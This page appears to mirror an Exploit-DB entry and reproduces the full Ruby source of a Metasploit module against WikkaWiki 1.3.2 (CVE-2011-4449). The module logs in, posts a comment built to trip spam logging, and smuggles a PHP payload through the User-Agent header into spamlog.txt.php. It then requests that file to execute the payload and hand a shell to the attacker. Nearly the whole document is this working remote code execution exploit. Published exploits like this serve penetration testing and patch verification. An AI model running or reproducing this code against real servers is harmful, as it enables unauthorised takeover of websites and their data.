WikkaWiki 1.3.2 – Spam Logging PHP Injection (Metasploit)

  • 作者: Metasploit
    日期: 2012-05-12
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18865/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	include Msf::Exploit::Remote::HttpClient
    
    	def initialize(info={})
    		super(update_info(info,
    			'Name' => "WikkaWiki 1.3.2 Spam Logging PHP Injection",
    			'Description'=> %q{
    					This module exploits a vulnerability found in WikkaWiki.When the spam logging
    				feature is enabled, it is possible to inject PHP code into the spam log file via the
    				UserAgent header , and then request it to execute our payload.There are at least
    				three different ways to trigger spam protection, this module does so by generating
    				10 fake URLs in a comment (by default, the max_new_comment_urls parameter is 6).
    
    					Please note that in order to use the injection, you must manually pick a page
    				first that allows you to add a comment, and then set it as 'PAGE'.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'EgiX', #Initial discovery, PoC
    					'sinn3r'#Metasploit
    				],
    			'References' =>
    				[
    					['CVE', '2011-4449'],
    					['OSVDB', '77391'],
    					['EDB', '18177'],
    					['URL', 'http://wush.net/trac/wikka/ticket/1098']
    				],
    			'Payload'=>
    				{
    					'BadChars' => "\x00"
    				},
    			'DefaultOptions'=>
    				{
    					'ExitFunction' => "none"
    				},
    			'Arch' => ARCH_PHP,
    			'Platform' => ['php'],
    			'Targets'=>
    				[
    					['WikkaWiki 1.3.2 r1814', {}]
    				],
    			'Privileged' => false,
    			'DisclosureDate' => "Nov 30 2011",
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				OptString.new('USERNAME',[true, 'WikkaWiki username']),
    				OptString.new('PASSWORD',[true, 'WikkaWiki password']),
    				OptString.new('PAGE',[true, 'Page to inject']),
    				OptString.new('TARGETURI', [true, 'The URI path to WikkaWiki', '/wikka/'])
    			], self.class)
    	end
    
    
    	def check
    		res = send_request_raw({
    			'method' => 'GET',
    			'uri'=> "#{target_uri.path}wikka.php?wakka=HomePage"
    		})
    
    		if res and res.body =~ /Powered by WikkaWiki/
    			return Exploit::CheckCode::Detected
    		else
    			return Exploit::CheckCode::Safe
    		end
    	end
    
    
    	#
    	# Get the cookie before we do any of that login/exploity stuff
    	#
    	def get_cookie
    		res = send_request_raw({
    			'method' => 'GET',
    			'uri'=> "#{@base}wikka.php"
    		})
    
    		# Get the cookie in this format:
    		# 96522b217a86eca82f6d72ef88c4c7f4=pr5sfcofh5848vnc2sm912ean2; path=/wikka
    		if res and res.headers['Set-Cookie']
    			cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0]
    		else
    			raise RuntimeError, "#{@peer} - No cookie found, will not continue"
    		end
    
    		cookie
    	end
    
    
    	#
    	# Do login, and then return the cookie that contains our credential
    	#
    	def login(cookie)
    		# Send a request to the login page so we can obtain some hidden values needed for login
    		uri = "#{@base}wikka.php?wakka=UserSettings"
    		res = send_request_raw({
    			'method'=> 'GET',
    			'uri' => uri,
    			'cookie'=> cookie
    		})
    
    		# Extract the hidden fields
    		login = {}
    		if res and res.body =~ /\<div id\=\"content\"\>.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>.+\<legend\>Login\/Register\<\/legend\>/m
    			fields = $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(\w+)\" \/>/)
    			fields.each do |name, value|
    				login[name] = value
    			end
    		else
    			raise RuntimeError, "#{@peer} - Unable to find the hidden fieldset required for login"
    		end
    
    		# Add the rest of fields required for login
    		login['action'] = 'login'
    		login['name'] = datastore['USERNAME']
    		login['password'] = datastore['PASSWORD']
    		login['do_redirect']= 'on'
    		login['submit'] = "Login"
    		login['confpassword'] = ''
    		login['email']= ''
    
    		port = (rport.to_i == 80) ? "" : ":#{rport}"
    		res = send_request_cgi({
    			'method'=> 'POST',
    			'uri' => uri,
    			'cookie'=> cookie,
    			'headers' => { 'Referer' => "http://#{rhost}#{port}#{uri}" },
    			'vars_post' => login
    		})
    
    		if res and res.headers['Set-Cookie'] =~ /user_name/
    			user = res.headers['Set-Cookie'].scan(/(user_name\@\w+=\w+);/)[0] || ""
    			pass = res.headers['Set-Cookie'].scan(/(pass\@\w+=\w+)/)[0] || ""
    			cookie_cred = "#{cookie}; #{user}; #{pass}"
    		else
    			cred = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
    			raise RuntimeError, "#{@peer} - Unable to login with \"#{cred}\""
    		end
    
    		return cookie_cred
    	end
    
    
    	#
    	# After login, we inject the PHP payload
    	#
    	def inject_exec(cookie)
    		# Get the necessary fields in order to post a comment
    		res = send_request_raw({
    			'method' => 'GET',
    			'uri'=> "#{@base}wikka.php?wakka=#{datastore['PAGE']}&show_comments=1",
    			'cookie' => cookie
    		})
    
    		fields = {}
    		if res and res.body =~ /\<form action\=.+processcomment.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>/m
    			$1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(.+)\" \/>/).each do |n, v|
    				fields[n] = v
    			end
    		else
    			raise RuntimeError, "#{@peer} - Cannot get necessary fields before posting a comment"
    		end
    
    		# Generate enough URLs to trigger spam logging
    		urls = ''
    		10.times do |i|
    			urls << "http://www.#{rand_text_alpha_lower(rand(10)+6)}.#{['com', 'org', 'us', 'info'].sample}\n"
    		end
    
    		# Add more fields
    		fields['body'] = urls
    		fields['submit'] = 'Add'
    
    		# Inject payload
    		b64_payload = Rex::Text.encode_base64(payload.encoded)
    		port = (rport.to_i == 80) ? "" : ":#{rport}"
    		uri = "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment"
    		post_data = ""
    		send_request_cgi({
    			'method'=> 'POST',
    			'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment",
    			'cookie'=> cookie,
    			'headers' => { 'Referer' => "http://#{rhost}:#{port}/#{uri}" },
    			'vars_post' => fields,
    			'agent' => "<?php #{payload.encoded} ?>"
    		})
    
    		send_request_raw({
    			'method' => 'GET',
    			'uri'=> "#{@base}spamlog.txt.php"
    		})
    	end
    
    
    	def exploit
    		@peer = "#{rhost}:#{rport}"
    
    		@base = target_uri.path
    		@base << '/' if @base[-1, 1] != '/'
    
    		print_status("#{@peer} - Getting cookie")
    		cookie = get_cookie
    
    		print_status("#{@peer} - Logging in")
    		cred = login(cookie)
    
    		print_status("#{@peer} - Triggering spam logging")
    		inject_exec(cred)
    
    		handler
    	end
    end
    
    
    =begin
    For testing:
    svn -r 1814 co https://wush.net/svn/wikka/trunk wikka
    
    Open wikka.config.php, do:
    'spam_logging' => '1'
    =end